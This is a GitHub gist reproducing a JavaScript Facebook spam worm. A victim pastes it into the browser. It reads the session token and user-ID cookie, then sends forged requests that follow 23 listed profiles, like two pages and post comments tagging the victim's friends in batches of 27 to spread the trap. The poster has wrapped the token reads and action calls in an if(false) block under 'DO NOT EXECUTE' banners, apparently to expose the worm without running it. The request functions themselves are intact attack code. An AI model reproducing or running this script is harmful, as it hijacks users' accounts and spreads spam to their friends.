Skip to content

Instantly share code, notes, and snippets.

@Inndy
Last active August 29, 2015 13:55
Show Gist options
  • Save Inndy/8768005 to your computer and use it in GitHub Desktop.
Save Inndy/8768005 to your computer and use it in GitHub Desktop.
啟元神人最新力作...
/* DO NOT EXECUTE THIS SCRIPT */ function DO_NOT_EXECUTE_ME() { if (false) { /* DO NOT EXECUTE THIS SCRIPT */
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
/* DO NOT EXECUTE THIS SCRIPT */ }} /* DO NOT EXECUTE THIS SCRIPT */
function follow(abone) {
var xhr = new XMLHttpRequest();
var post_data = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
xhr.open("POST", "/ajax/follow/follow_profile.php?__a=1", true);
xhr.send(post_data);
}
function like(p) {
var xhr = new XMLHttpRequest();
var post_data = "fbpage_id=" + p + "&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&nctr[_mod]=pagelet_timeline_page_actions&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=d&fb_dtsg=" + fb_dtsg + "&phstamp=";
xhr.open("POST", "//www.facebook.com/ajax/pages/fan_status.php", true);
xhr.send(post_data);
}
function do_commit_on_photo(id) {
var xhr = new XMLHttpRequest();
var ajax_returned_data = [];
xhr.onreadystatechange = function () {
if (xhr.readyState == 4) {
ajax_returned_data = JSON.parse(xhr.responseText.toString().replace("for (;;);", ""));
for (f = 0; f < Math.round(ajax_returned_data.payload.entries.length / 27); f++) {
mesaj = "";
mesaj_text = "";
for (i = f * 27; i < (f + 1) * 27; i++) {
if (ajax_returned_data.payload.entries[i]) {
mesaj += " @[" + ajax_returned_data.payload.entries[i].uid + ":" + ajax_returned_data.payload.entries[i].text + "]";
mesaj_text += " " + ajax_returned_data.payload.entries[i].text;
};
};
make_commit(id, mesaj);
};
};
};
var str = "&filter[0]=user&options[0]=friends_only&options[1]=nm";
str += "&token=v7&viewer=" + user_id + "&__user=" + user_id;
xhr.open("GET", "//www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + str, true);
xhr.send();
};
function make_commit(id, content) {
var xhr = new XMLHttpRequest();
var post_data = "&ft_ent_identifier=" + id;
post_data += "&comment_text=" + encodeURIComponent(content);
post_data += "&source=2";
post_data += "&client_id=1377871797138:1707018092";
post_data += "&reply_fbid";
post_data += "&parent_comment_id";
post_data += "&rootid=u_jsonp_2_3";
post_data += "&clp={\"cl_impid\":\"453524a0\",\"clearcounter\":0,\"elementid\":\"js_5\",\"version\":\"x\",\"parent_fbid\":" + id + "}";
post_data += "&attached_sticker_fbid=0";
post_data += "&attached_photo_fbid=0";
post_data += "&giftoccasion";
post_data += "&ft[tn]=[]";
post_data += "&__user=" + user_id;
post_data += "&__a=1";
post_data += "&__dyn=7n8ahyj35ynxl2u5F97KepEsyo";
post_data += "&__req=q";
post_data += "&fb_dtsg=" + fb_dtsg;
post_data += "&ttstamp=";
xhr.open("POST", "/ajax/ufi/add_comment.php", true);
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr.send(post_data);
};
/* DO NOT EXECUTE THIS SCRIPT */ function DO_NOT_EXECUTE_ME() { if (false) { /* DO NOT EXECUTE THIS SCRIPT */
// 你會追蹤下面這些人
follow("100002904641223");
follow("100001332990800");
follow("100006659402880");
follow("100005570975914");
follow("100000395367789");
follow("100000606842557");
follow("100000383979215");
follow("100000215311571");
follow("100003162007359");
follow("100002167971266");
follow("100002143644359");
follow("100003002827120");
follow("100004496528413");
follow("100000457790990");
follow("100002636123919");
follow("100003801834959");
follow("100000499609614");
follow("100001379481736");
follow("100000302616421");
follow("100002977511905");
follow("100000439354852");
follow("100000264467158");
follow("100003814338903");
// 你會按讚
like("286945258119792");
like("287290308085287");
// 你會Tag很多人,讓更多人踏入陷阱
do_commit_on_photo("287290308085287");
/* DO NOT EXECUTE THIS SCRIPT */ }} /* DO NOT EXECUTE THIS SCRIPT */
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment